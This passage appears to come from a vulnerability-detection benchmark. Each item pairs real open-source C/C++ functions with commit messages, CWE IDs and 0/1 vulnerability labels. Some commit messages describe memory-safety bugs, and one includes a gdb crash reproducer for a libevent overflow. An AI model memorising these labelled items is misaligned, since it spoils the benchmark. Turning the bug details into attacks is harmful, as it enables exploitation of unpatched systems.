auto_opened_ = true;
}
UpdateObservers();
}
Commit Message: Downloads : Fixed an issue of opening incorrect download file
When one download overwrites another completed download, calling download.open in the old download causes the new download to open, which could be dangerous and undesirable. In this CL, we are trying to avoid this by blocking the opening of the old download.
Bug: 793620
Change-Id: Ic948175756700ad7c08489c3cc347330daedb6f8
Reviewed-on: https://chromium-review.googlesource.com/826477
Reviewed-by: David Trainor <dtrainor@chromium.org>
Reviewed-by: Xing Liu <xingliu@chromium.org>
Reviewed-by: John Abd-El-Malek <jam@chromium.org>
Commit-Queue: Shakti Sahu <shaktisahu@chromium.org>
Cr-Commit-Position: refs/heads/master@{#525810}
CWE ID: CWE-20
| 0
| 146,281
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: void WriteVirtIODeviceRegister(ULONG_PTR ulRegister, u32 ulValue)
{
DPrintf(6, ("[%s]R[%x]=%x\n", __FUNCTION__, (ULONG)ulRegister, ulValue) );
NdisRawWritePortUlong(ulRegister, ulValue);
}
Commit Message: NetKVM: BZ#1169718: More rigoruous testing of incoming packet
Signed-off-by: Joseph Hindin <yhindin@rehat.com>
CWE ID: CWE-20
| 0
| 74,412
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: ScriptPromise ImageBitmapFactories::createImageBitmap(EventTarget& eventTarget, CanvasRenderingContext2D* context, int sx, int sy, int sw, int sh, ExceptionState& exceptionState)
{
return createImageBitmap(eventTarget, context->canvas(), sx, sy, sw, sh, exceptionState);
}
Commit Message: Fix crash when creating an ImageBitmap from an invalid canvas
BUG=354356
Review URL: https://codereview.chromium.org/211313003
git-svn-id: svn://svn.chromium.org/blink/trunk@169973 bbb929c8-8fbe-4397-9dbb-9b2b20218538
CWE ID: CWE-119
| 0
| 115,109
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: static void brcmf_cfg80211_crit_proto_stop(struct wiphy *wiphy,
struct wireless_dev *wdev)
{
struct brcmf_cfg80211_info *cfg = wiphy_to_cfg(wiphy);
struct brcmf_cfg80211_vif *vif;
vif = container_of(wdev, struct brcmf_cfg80211_vif, wdev);
brcmf_btcoex_set_mode(vif, BRCMF_BTCOEX_ENABLED, 0);
clear_bit(BRCMF_SCAN_STATUS_SUPPRESS, &cfg->scan_status);
}
Commit Message: brcmfmac: avoid potential stack overflow in brcmf_cfg80211_start_ap()
User-space can choose to omit NL80211_ATTR_SSID and only provide raw
IE TLV data. When doing so it can provide SSID IE with length exceeding
the allowed size. The driver further processes this IE copying it
into a local variable without checking the length. Hence stack can be
corrupted and used as exploit.
Cc: stable@vger.kernel.org # v4.7
Reported-by: Daxing Guo <freener.gdx@gmail.com>
Reviewed-by: Hante Meuleman <hante.meuleman@broadcom.com>
Reviewed-by: Pieter-Paul Giesberts <pieter-paul.giesberts@broadcom.com>
Reviewed-by: Franky Lin <franky.lin@broadcom.com>
Signed-off-by: Arend van Spriel <arend.vanspriel@broadcom.com>
Signed-off-by: Kalle Valo <kvalo@codeaurora.org>
CWE ID: CWE-119
| 0
| 49,005
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: static int tsc210x_load(QEMUFile *f, void *opaque, int version_id)
{
TSC210xState *s = (TSC210xState *) opaque;
int64_t now = qemu_clock_get_ns(QEMU_CLOCK_VIRTUAL);
int i;
s->x = qemu_get_be16(f);
s->y = qemu_get_be16(f);
s->pressure = qemu_get_byte(f);
s->state = qemu_get_byte(f);
s->page = qemu_get_byte(f);
s->offset = qemu_get_byte(f);
s->command = qemu_get_byte(f);
s->irq = qemu_get_byte(f);
qemu_get_be16s(f, &s->dav);
timer_get(f, s->timer);
s->enabled = qemu_get_byte(f);
s->host_mode = qemu_get_byte(f);
s->function = qemu_get_byte(f);
s->nextfunction = qemu_get_byte(f);
s->precision = qemu_get_byte(f);
s->nextprecision = qemu_get_byte(f);
s->filter = qemu_get_byte(f);
s->pin_func = qemu_get_byte(f);
s->ref = qemu_get_byte(f);
qemu_get_be16s(f, &s->dac_power);
for (i = 0; i < 0x14; i ++)
qemu_get_be16s(f, &s->filter_data[i]);
s->busy = timer_pending(s->timer);
qemu_set_irq(s->pint, !s->irq);
qemu_set_irq(s->davint, !s->dav);
return 0;
}
Commit Message:
CWE ID: CWE-119
| 1
| 165,356
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: static int vcpu_stat_clear_per_vm(void *data, u64 val)
{
int i;
struct kvm_stat_data *stat_data = (struct kvm_stat_data *)data;
struct kvm_vcpu *vcpu;
if (val)
return -EINVAL;
kvm_for_each_vcpu(i, vcpu, stat_data->kvm)
*(u64 *)((void *)vcpu + stat_data->offset) = 0;
return 0;
}
Commit Message: kvm: fix kvm_ioctl_create_device() reference counting (CVE-2019-6974)
kvm_ioctl_create_device() does the following:
1. creates a device that holds a reference to the VM object (with a borrowed
reference, the VM's refcount has not been bumped yet)
2. initializes the device
3. transfers the reference to the device to the caller's file descriptor table
4. calls kvm_get_kvm() to turn the borrowed reference to the VM into a real
reference
The ownership transfer in step 3 must not happen before the reference to the VM
becomes a proper, non-borrowed reference, which only happens in step 4.
After step 3, an attacker can close the file descriptor and drop the borrowed
reference, which can cause the refcount of the kvm object to drop to zero.
This means that we need to grab a reference for the device before
anon_inode_getfd(), otherwise the VM can disappear from under us.
Fixes: 852b6d57dc7f ("kvm: add device control API")
Cc: stable@kernel.org
Signed-off-by: Jann Horn <jannh@google.com>
Signed-off-by: Paolo Bonzini <pbonzini@redhat.com>
CWE ID: CWE-362
| 0
| 91,604
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: void DoCheckFakeData(uint8* audio_data, size_t length) {
Type* output = reinterpret_cast<Type*>(audio_data);
for (size_t i = 0; i < length; i++) {
EXPECT_TRUE(algorithm_.is_muted() || output[i] != 0);
}
}
Commit Message: Protect AudioRendererAlgorithm from invalid step sizes.
BUG=165430
TEST=unittests and asan pass.
Review URL: https://codereview.chromium.org/11573023
git-svn-id: svn://svn.chromium.org/chrome/trunk/src@173249 0039d316-1c4b-4281-b951-d872f2087c98
CWE ID: CWE-119
| 1
| 171,531
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: static void ion_dma_buf_release(struct dma_buf *dmabuf)
{
struct ion_buffer *buffer = dmabuf->priv;
ion_buffer_put(buffer);
}
Commit Message: staging/android/ion : fix a race condition in the ion driver
There is a use-after-free problem in the ion driver.
This is caused by a race condition in the ion_ioctl()
function.
A handle has ref count of 1 and two tasks on different
cpus calls ION_IOC_FREE simultaneously.
cpu 0 cpu 1
-------------------------------------------------------
ion_handle_get_by_id()
(ref == 2)
ion_handle_get_by_id()
(ref == 3)
ion_free()
(ref == 2)
ion_handle_put()
(ref == 1)
ion_free()
(ref == 0 so ion_handle_destroy() is
called
and the handle is freed.)
ion_handle_put() is called and it
decreases the slub's next free pointer
The problem is detected as an unaligned access in the
spin lock functions since it uses load exclusive
instruction. In some cases it corrupts the slub's
free pointer which causes a mis-aligned access to the
next free pointer.(kmalloc returns a pointer like
ffffc0745b4580aa). And it causes lots of other
hard-to-debug problems.
This symptom is caused since the first member in the
ion_handle structure is the reference count and the
ion driver decrements the reference after it has been
freed.
To fix this problem client->lock mutex is extended
to protect all the codes that uses the handle.
Signed-off-by: Eun Taik Lee <eun.taik.lee@samsung.com>
Reviewed-by: Laura Abbott <labbott@redhat.com>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
CWE ID: CWE-416
| 0
| 48,546
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: setpassfilter(argv)
char **argv;
{
pcap_t *pc;
int ret = 1;
pc = pcap_open_dead(DLT_PPP_PPPD, 65535);
if (pcap_compile(pc, &pass_filter, *argv, 1, netmask) == -1) {
option_error("error in pass-filter expression: %s\n",
pcap_geterr(pc));
ret = 0;
}
pcap_close(pc);
return ret;
}
Commit Message: pppd: Eliminate potential integer overflow in option parsing
When we are reading in a word from an options file, we maintain a count
of the length we have seen so far in 'len', which is an int. When len
exceeds MAXWORDLEN - 1 (i.e. 1023) we cease storing characters in the
buffer but we continue to increment len. Since len is an int, it will
wrap around to -2147483648 after it reaches 2147483647. At that point
our test of (len < MAXWORDLEN-1) will succeed and we will start writing
characters to memory again.
This may enable an attacker to overwrite the heap and thereby corrupt
security-relevant variables. For this reason it has been assigned a
CVE identifier, CVE-2014-3158.
This fixes the bug by ceasing to increment len once it reaches MAXWORDLEN.
Reported-by: Lee Campbell <leecam@google.com>
Signed-off-by: Paul Mackerras <paulus@samba.org>
CWE ID: CWE-119
| 0
| 38,177
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: void PasswordAutofillAgent::ClearPreview(WebInputElement* username,
WebInputElement* password) {
if (!username->IsNull() && !username->SuggestedValue().IsEmpty()) {
username->SetSuggestedValue(WebString());
username->SetAutofillState(username_autofill_state_);
username->SetSelectionRange(username_query_prefix_.length(),
username->Value().length());
}
if (!password->IsNull() && !password->SuggestedValue().IsEmpty()) {
password->SetSuggestedValue(WebString());
password->SetAutofillState(password_autofill_state_);
}
}
Commit Message: [Android][TouchToFill] Use FindPasswordInfoForElement for triggering
Use for TouchToFill the same triggering logic that is used for regular
suggestions.
Bug: 1010233
Change-Id: I111d4eac4ce94dd94b86097b6b6c98e08875e11a
Reviewed-on: https://chromium-review.googlesource.com/c/chromium/src/+/1834230
Commit-Queue: Boris Sazonov <bsazonov@chromium.org>
Reviewed-by: Vadym Doroshenko <dvadym@chromium.org>
Cr-Commit-Position: refs/heads/master@{#702058}
CWE ID: CWE-125
| 0
| 137,600
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: void WebLocalFrameImpl::SetDevToolsAgentClient(
WebDevToolsAgentClient* dev_tools_client) {
DCHECK(dev_tools_client);
dev_tools_agent_ = WebDevToolsAgentImpl::Create(this, dev_tools_client);
}
Commit Message: Inherit CSP when we inherit the security origin
This prevents attacks that use main window navigation to get out of the
existing csp constraints such as the related bug
Bug: 747847
Change-Id: I1e57b50da17f65d38088205b0a3c7c49ef2ae4d8
Reviewed-on: https://chromium-review.googlesource.com/592027
Reviewed-by: Mike West <mkwst@chromium.org>
Commit-Queue: Andy Paicu <andypaicu@chromium.org>
Cr-Commit-Position: refs/heads/master@{#492333}
CWE ID: CWE-732
| 0
| 134,400
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: polkit_backend_session_monitor_new (void)
{
PolkitBackendSessionMonitor *monitor;
monitor = POLKIT_BACKEND_SESSION_MONITOR (g_object_new (POLKIT_BACKEND_TYPE_SESSION_MONITOR, NULL));
return monitor;
}
Commit Message:
CWE ID: CWE-200
| 0
| 14,591
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: static long kvm_vm_ioctl(struct file *filp,
unsigned int ioctl, unsigned long arg)
{
struct kvm *kvm = filp->private_data;
void __user *argp = (void __user *)arg;
int r;
if (kvm->mm != current->mm)
return -EIO;
switch (ioctl) {
case KVM_CREATE_VCPU:
r = kvm_vm_ioctl_create_vcpu(kvm, arg);
if (r < 0)
goto out;
break;
case KVM_SET_USER_MEMORY_REGION: {
struct kvm_userspace_memory_region kvm_userspace_mem;
r = -EFAULT;
if (copy_from_user(&kvm_userspace_mem, argp,
sizeof kvm_userspace_mem))
goto out;
r = kvm_vm_ioctl_set_memory_region(kvm, &kvm_userspace_mem, 1);
if (r)
goto out;
break;
}
case KVM_GET_DIRTY_LOG: {
struct kvm_dirty_log log;
r = -EFAULT;
if (copy_from_user(&log, argp, sizeof log))
goto out;
r = kvm_vm_ioctl_get_dirty_log(kvm, &log);
if (r)
goto out;
break;
}
#ifdef KVM_COALESCED_MMIO_PAGE_OFFSET
case KVM_REGISTER_COALESCED_MMIO: {
struct kvm_coalesced_mmio_zone zone;
r = -EFAULT;
if (copy_from_user(&zone, argp, sizeof zone))
goto out;
r = kvm_vm_ioctl_register_coalesced_mmio(kvm, &zone);
if (r)
goto out;
r = 0;
break;
}
case KVM_UNREGISTER_COALESCED_MMIO: {
struct kvm_coalesced_mmio_zone zone;
r = -EFAULT;
if (copy_from_user(&zone, argp, sizeof zone))
goto out;
r = kvm_vm_ioctl_unregister_coalesced_mmio(kvm, &zone);
if (r)
goto out;
r = 0;
break;
}
#endif
case KVM_IRQFD: {
struct kvm_irqfd data;
r = -EFAULT;
if (copy_from_user(&data, argp, sizeof data))
goto out;
r = kvm_irqfd(kvm, &data);
break;
}
case KVM_IOEVENTFD: {
struct kvm_ioeventfd data;
r = -EFAULT;
if (copy_from_user(&data, argp, sizeof data))
goto out;
r = kvm_ioeventfd(kvm, &data);
break;
}
#ifdef CONFIG_KVM_APIC_ARCHITECTURE
case KVM_SET_BOOT_CPU_ID:
r = 0;
mutex_lock(&kvm->lock);
if (atomic_read(&kvm->online_vcpus) != 0)
r = -EBUSY;
else
kvm->bsp_vcpu_id = arg;
mutex_unlock(&kvm->lock);
break;
#endif
#ifdef CONFIG_HAVE_KVM_MSI
case KVM_SIGNAL_MSI: {
struct kvm_msi msi;
r = -EFAULT;
if (copy_from_user(&msi, argp, sizeof msi))
goto out;
r = kvm_send_userspace_msi(kvm, &msi);
break;
}
#endif
#ifdef __KVM_HAVE_IRQ_LINE
case KVM_IRQ_LINE_STATUS:
case KVM_IRQ_LINE: {
struct kvm_irq_level irq_event;
r = -EFAULT;
if (copy_from_user(&irq_event, argp, sizeof irq_event))
goto out;
r = kvm_vm_ioctl_irq_line(kvm, &irq_event);
if (r)
goto out;
r = -EFAULT;
if (ioctl == KVM_IRQ_LINE_STATUS) {
if (copy_to_user(argp, &irq_event, sizeof irq_event))
goto out;
}
r = 0;
break;
}
#endif
default:
r = kvm_arch_vm_ioctl(filp, ioctl, arg);
if (r == -ENOTTY)
r = kvm_vm_ioctl_assigned_device(kvm, ioctl, arg);
}
out:
return r;
}
Commit Message: KVM: perform an invalid memslot step for gpa base change
PPC must flush all translations before the new memory slot
is visible.
Signed-off-by: Marcelo Tosatti <mtosatti@redhat.com>
Signed-off-by: Avi Kivity <avi@redhat.com>
CWE ID: CWE-399
| 0
| 29,104
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: void ACodec::ExecutingState::stateEntered() {
ALOGV("[%s] Now Executing", mCodec->mComponentName.c_str());
mCodec->mRenderTracker.clear(systemTime(CLOCK_MONOTONIC));
mCodec->processDeferredMessages();
}
Commit Message: Fix initialization of AAC presentation struct
Otherwise the new size checks trip on this.
Bug: 27207275
Change-Id: I1f8f01097e3a88ff041b69279a6121be842f1766
CWE ID: CWE-119
| 0
| 164,165
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: evutil_socketpair(int family, int type, int protocol, evutil_socket_t fd[2])
{
#ifndef _WIN32
return socketpair(family, type, protocol, fd);
#else
return evutil_ersatz_socketpair_(family, type, protocol, fd);
#endif
}
Commit Message: evutil_parse_sockaddr_port(): fix buffer overflow
@asn-the-goblin-slayer:
"Length between '[' and ']' is cast to signed 32 bit integer on line 1815. Is
the length is more than 2<<31 (INT_MAX), len will hold a negative value.
Consequently, it will pass the check at line 1816. Segfault happens at line
1819.
Generate a resolv.conf with generate-resolv.conf, then compile and run
poc.c. See entry-functions.txt for functions in tor that might be
vulnerable.
Please credit 'Guido Vranken' for this discovery through the Tor bug bounty
program."
Reproducer for gdb (https://gist.github.com/azat/be2b0d5e9417ba0dfe2c):
start
p (1ULL<<31)+1ULL
# $1 = 2147483649
p malloc(sizeof(struct sockaddr))
# $2 = (void *) 0x646010
p malloc(sizeof(int))
# $3 = (void *) 0x646030
p malloc($1)
# $4 = (void *) 0x7fff76a2a010
p memset($4, 1, $1)
# $5 = 1990369296
p (char *)$4
# $6 = 0x7fff76a2a010 '\001' <repeats 200 times>...
set $6[0]='['
set $6[$1]=']'
p evutil_parse_sockaddr_port($4, $2, $3)
# $7 = -1
Before:
$ gdb bin/http-connect < gdb
(gdb) $1 = 2147483649
(gdb) (gdb) $2 = (void *) 0x646010
(gdb) (gdb) $3 = (void *) 0x646030
(gdb) (gdb) $4 = (void *) 0x7fff76a2a010
(gdb) (gdb) $5 = 1990369296
(gdb) (gdb) $6 = 0x7fff76a2a010 '\001' <repeats 200 times>...
(gdb) (gdb) (gdb) (gdb)
Program received signal SIGSEGV, Segmentation fault.
__memcpy_sse2_unaligned () at memcpy-sse2-unaligned.S:36
After:
$ gdb bin/http-connect < gdb
(gdb) $1 = 2147483649
(gdb) (gdb) $2 = (void *) 0x646010
(gdb) (gdb) $3 = (void *) 0x646030
(gdb) (gdb) $4 = (void *) 0x7fff76a2a010
(gdb) (gdb) $5 = 1990369296
(gdb) (gdb) $6 = 0x7fff76a2a010 '\001' <repeats 200 times>...
(gdb) (gdb) (gdb) (gdb) $7 = -1
(gdb) (gdb) quit
Fixes: #318
CWE ID: CWE-119
| 0
| 70,763
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: static inline int build_open_flags(int flags, umode_t mode, struct open_flags *op)
{
int lookup_flags = 0;
int acc_mode = ACC_MODE(flags);
if (flags & (O_CREAT | __O_TMPFILE))
op->mode = (mode & S_IALLUGO) | S_IFREG;
else
op->mode = 0;
/* Must never be set by userspace */
flags &= ~FMODE_NONOTIFY & ~O_CLOEXEC;
/*
* O_SYNC is implemented as __O_SYNC|O_DSYNC. As many places only
* check for O_DSYNC if the need any syncing at all we enforce it's
* always set instead of having to deal with possibly weird behaviour
* for malicious applications setting only __O_SYNC.
*/
if (flags & __O_SYNC)
flags |= O_DSYNC;
if (flags & __O_TMPFILE) {
if ((flags & O_TMPFILE_MASK) != O_TMPFILE)
return -EINVAL;
if (!(acc_mode & MAY_WRITE))
return -EINVAL;
} else if (flags & O_PATH) {
/*
* If we have O_PATH in the open flag. Then we
* cannot have anything other than the below set of flags
*/
flags &= O_DIRECTORY | O_NOFOLLOW | O_PATH;
acc_mode = 0;
}
op->open_flag = flags;
/* O_TRUNC implies we need access checks for write permissions */
if (flags & O_TRUNC)
acc_mode |= MAY_WRITE;
/* Allow the LSM permission hook to distinguish append
access from general write access. */
if (flags & O_APPEND)
acc_mode |= MAY_APPEND;
op->acc_mode = acc_mode;
op->intent = flags & O_PATH ? 0 : LOOKUP_OPEN;
if (flags & O_CREAT) {
op->intent |= LOOKUP_CREATE;
if (flags & O_EXCL)
op->intent |= LOOKUP_EXCL;
}
if (flags & O_DIRECTORY)
lookup_flags |= LOOKUP_DIRECTORY;
if (!(flags & O_NOFOLLOW))
lookup_flags |= LOOKUP_FOLLOW;
op->lookup_flags = lookup_flags;
return 0;
}
Commit Message: vfs: add vfs_select_inode() helper
Signed-off-by: Miklos Szeredi <mszeredi@redhat.com>
Cc: <stable@vger.kernel.org> # v4.2+
CWE ID: CWE-284
| 0
| 94,728
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: void ChildProcessSecurityPolicyImpl::AddChild(int child_id) {
if (security_state_.count(child_id) != 0) {
NOTREACHED() << "Add child process at most once.";
return;
}
security_state_[child_id] = std::make_unique<SecurityState>();
}
Commit Message: Lock down blob/filesystem URL creation with a stronger CPSP::CanCommitURL()
ChildProcessSecurityPolicy::CanCommitURL() is a security check that's
supposed to tell whether a given renderer process is allowed to commit
a given URL. It is currently used to validate (1) blob and filesystem
URL creation, and (2) Origin headers. Currently, it has scheme-based
checks that disallow things like web renderers creating
blob/filesystem URLs in chrome-extension: origins, but it cannot stop
one web origin from creating those URLs for another origin.
This CL locks down its use for (1) to also consult
CanAccessDataForOrigin(). With site isolation, this will check origin
locks and ensure that foo.com cannot create blob/filesystem URLs for
other origins.
For now, this CL does not provide the same enforcements for (2),
Origin header validation, which has additional constraints that need
to be solved first (see https://crbug.com/515309).
Bug: 886976, 888001
Change-Id: I743ef05469e4000b2c0bee840022162600cc237f
Reviewed-on: https://chromium-review.googlesource.com/1235343
Commit-Queue: Alex Moshchuk <alexmos@chromium.org>
Reviewed-by: Charlie Reis <creis@chromium.org>
Cr-Commit-Position: refs/heads/master@{#594914}
CWE ID:
| 0
| 143,703
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: buf_add_chunk_with_capacity(buf_t *buf, size_t capacity, int capped)
{
chunk_t *chunk;
struct timeval now;
if (CHUNK_ALLOC_SIZE(capacity) < buf->default_chunk_size) {
chunk = chunk_new_with_alloc_size(buf->default_chunk_size);
} else if (capped && CHUNK_ALLOC_SIZE(capacity) > MAX_CHUNK_ALLOC) {
chunk = chunk_new_with_alloc_size(MAX_CHUNK_ALLOC);
} else {
chunk = chunk_new_with_alloc_size(preferred_chunk_size(capacity));
}
tor_gettimeofday_cached_monotonic(&now);
chunk->inserted_time = (uint32_t)tv_to_msec(&now);
if (buf->tail) {
tor_assert(buf->head);
buf->tail->next = chunk;
buf->tail = chunk;
} else {
tor_assert(!buf->head);
buf->head = buf->tail = chunk;
}
check();
return chunk;
}
Commit Message: Add a one-word sentinel value of 0x0 at the end of each buf_t chunk
This helps protect against bugs where any part of a buf_t's memory
is passed to a function that expects a NUL-terminated input.
It also closes TROVE-2016-10-001 (aka bug 20384).
CWE ID: CWE-119
| 0
| 73,140
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: BrowserWindowGtk::GetActiveTabPermissionGranter() {
TabContents* tab = GetDisplayedTab();
if (!tab)
return NULL;
return extensions::TabHelper::FromWebContents(tab->web_contents())->
active_tab_permission_granter();
}
Commit Message: Remove TabContents from TabStripModelObserver::TabDetachedAt.
BUG=107201
TEST=no visible change
Review URL: https://chromiumcodereview.appspot.com/11293205
git-svn-id: svn://svn.chromium.org/chrome/trunk/src@167122 0039d316-1c4b-4281-b951-d872f2087c98
CWE ID: CWE-20
| 0
| 117,922
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: QPointF QQuickWebViewPrivate::FlickableAxisLocker::adjust(const QPointF& position)
{
if (m_allowedDirection == QQuickFlickable::HorizontalFlick)
return QPointF(position.x(), m_lockReferencePosition.y());
if (m_allowedDirection == QQuickFlickable::VerticalFlick)
return QPointF(m_lockReferencePosition.x(), position.y());
return position;
}
Commit Message: [Qt][WK2] There's no way to test the gesture tap on WTR
https://bugs.webkit.org/show_bug.cgi?id=92895
Reviewed by Kenneth Rohde Christiansen.
Source/WebKit2:
Add an instance of QtViewportHandler to QQuickWebViewPrivate, so it's
now available on mobile and desktop modes, as a side effect gesture tap
events can now be created and sent to WebCore.
This is needed to test tap gestures and to get tap gestures working
when you have a WebView (in desktop mode) on notebooks equipped with
touch screens.
* UIProcess/API/qt/qquickwebview.cpp:
(QQuickWebViewPrivate::onComponentComplete):
(QQuickWebViewFlickablePrivate::onComponentComplete): Implementation
moved to QQuickWebViewPrivate::onComponentComplete.
* UIProcess/API/qt/qquickwebview_p_p.h:
(QQuickWebViewPrivate):
(QQuickWebViewFlickablePrivate):
Tools:
WTR doesn't create the QQuickItem from C++, not from QML, so a call
to componentComplete() was added to mimic the QML behaviour.
* WebKitTestRunner/qt/PlatformWebViewQt.cpp:
(WTR::PlatformWebView::PlatformWebView):
git-svn-id: svn://svn.chromium.org/blink/trunk@124625 bbb929c8-8fbe-4397-9dbb-9b2b20218538
CWE ID:
| 0
| 107,968
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: void rds_ib_send_clear_ring(struct rds_ib_connection *ic)
{
struct rds_ib_send_work *send;
u32 i;
for (i = 0, send = ic->i_sends; i < ic->i_send_ring.w_nr; i++, send++) {
if (send->s_op && send->s_wr.opcode != 0xdead)
rds_ib_send_unmap_op(ic, send, IB_WC_WR_FLUSH_ERR);
}
}
Commit Message: rds: prevent BUG_ON triggering on congestion map updates
Recently had this bug halt reported to me:
kernel BUG at net/rds/send.c:329!
Oops: Exception in kernel mode, sig: 5 [#1]
SMP NR_CPUS=1024 NUMA pSeries
Modules linked in: rds sunrpc ipv6 dm_mirror dm_region_hash dm_log ibmveth sg
ext4 jbd2 mbcache sd_mod crc_t10dif ibmvscsic scsi_transport_srp scsi_tgt
dm_mod [last unloaded: scsi_wait_scan]
NIP: d000000003ca68f4 LR: d000000003ca67fc CTR: d000000003ca8770
REGS: c000000175cab980 TRAP: 0700 Not tainted (2.6.32-118.el6.ppc64)
MSR: 8000000000029032 <EE,ME,CE,IR,DR> CR: 44000022 XER: 00000000
TASK = c00000017586ec90[1896] 'krdsd' THREAD: c000000175ca8000 CPU: 0
GPR00: 0000000000000150 c000000175cabc00 d000000003cb7340 0000000000002030
GPR04: ffffffffffffffff 0000000000000030 0000000000000000 0000000000000030
GPR08: 0000000000000001 0000000000000001 c0000001756b1e30 0000000000010000
GPR12: d000000003caac90 c000000000fa2500 c0000001742b2858 c0000001742b2a00
GPR16: c0000001742b2a08 c0000001742b2820 0000000000000001 0000000000000001
GPR20: 0000000000000040 c0000001742b2814 c000000175cabc70 0800000000000000
GPR24: 0000000000000004 0200000000000000 0000000000000000 c0000001742b2860
GPR28: 0000000000000000 c0000001756b1c80 d000000003cb68e8 c0000001742b27b8
NIP [d000000003ca68f4] .rds_send_xmit+0x4c4/0x8a0 [rds]
LR [d000000003ca67fc] .rds_send_xmit+0x3cc/0x8a0 [rds]
Call Trace:
[c000000175cabc00] [d000000003ca67fc] .rds_send_xmit+0x3cc/0x8a0 [rds]
(unreliable)
[c000000175cabd30] [d000000003ca7e64] .rds_send_worker+0x54/0x100 [rds]
[c000000175cabdb0] [c0000000000b475c] .worker_thread+0x1dc/0x3c0
[c000000175cabed0] [c0000000000baa9c] .kthread+0xbc/0xd0
[c000000175cabf90] [c000000000032114] .kernel_thread+0x54/0x70
Instruction dump:
4bfffd50 60000000 60000000 39080001 935f004c f91f0040 41820024 813d017c
7d094a78 7d290074 7929d182 394a0020 <0b090000> 40e2ff68 4bffffa4 39200000
Kernel panic - not syncing: Fatal exception
Call Trace:
[c000000175cab560] [c000000000012e04] .show_stack+0x74/0x1c0 (unreliable)
[c000000175cab610] [c0000000005a365c] .panic+0x80/0x1b4
[c000000175cab6a0] [c00000000002fbcc] .die+0x21c/0x2a0
[c000000175cab750] [c000000000030000] ._exception+0x110/0x220
[c000000175cab910] [c000000000004b9c] program_check_common+0x11c/0x180
Signed-off-by: David S. Miller <davem@davemloft.net>
CWE ID:
| 0
| 27,762
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: static int mem_cgroup_move_charge_pte_range(pmd_t *pmd,
unsigned long addr, unsigned long end,
struct mm_walk *walk)
{
int ret = 0;
struct vm_area_struct *vma = walk->private;
pte_t *pte;
spinlock_t *ptl;
split_huge_page_pmd(walk->mm, pmd);
retry:
pte = pte_offset_map_lock(vma->vm_mm, pmd, addr, &ptl);
for (; addr != end; addr += PAGE_SIZE) {
pte_t ptent = *(pte++);
union mc_target target;
int type;
struct page *page;
struct page_cgroup *pc;
swp_entry_t ent;
if (!mc.precharge)
break;
type = is_target_pte_for_mc(vma, addr, ptent, &target);
switch (type) {
case MC_TARGET_PAGE:
page = target.page;
if (isolate_lru_page(page))
goto put;
pc = lookup_page_cgroup(page);
if (!mem_cgroup_move_account(page, 1, pc,
mc.from, mc.to, false)) {
mc.precharge--;
/* we uncharge from mc.from later. */
mc.moved_charge++;
}
putback_lru_page(page);
put: /* is_target_pte_for_mc() gets the page */
put_page(page);
break;
case MC_TARGET_SWAP:
ent = target.ent;
if (!mem_cgroup_move_swap_account(ent,
mc.from, mc.to, false)) {
mc.precharge--;
/* we fixup refcnts and charges later. */
mc.moved_swap++;
}
break;
default:
break;
}
}
pte_unmap_unlock(pte - 1, ptl);
cond_resched();
if (addr != end) {
/*
* We have consumed all precharges we got in can_attach().
* We try charge one by one, but don't do any additional
* charges to mc.to if we have failed in charge once in attach()
* phase.
*/
ret = mem_cgroup_do_precharge(1);
if (!ret)
goto retry;
}
return ret;
}
Commit Message: mm: memcg: Correct unregistring of events attached to the same eventfd
There is an issue when memcg unregisters events that were attached to
the same eventfd:
- On the first call mem_cgroup_usage_unregister_event() removes all
events attached to a given eventfd, and if there were no events left,
thresholds->primary would become NULL;
- Since there were several events registered, cgroups core will call
mem_cgroup_usage_unregister_event() again, but now kernel will oops,
as the function doesn't expect that threshold->primary may be NULL.
That's a good question whether mem_cgroup_usage_unregister_event()
should actually remove all events in one go, but nowadays it can't
do any better as cftype->unregister_event callback doesn't pass
any private event-associated cookie. So, let's fix the issue by
simply checking for threshold->primary.
FWIW, w/o the patch the following oops may be observed:
BUG: unable to handle kernel NULL pointer dereference at 0000000000000004
IP: [<ffffffff810be32c>] mem_cgroup_usage_unregister_event+0x9c/0x1f0
Pid: 574, comm: kworker/0:2 Not tainted 3.3.0-rc4+ #9 Bochs Bochs
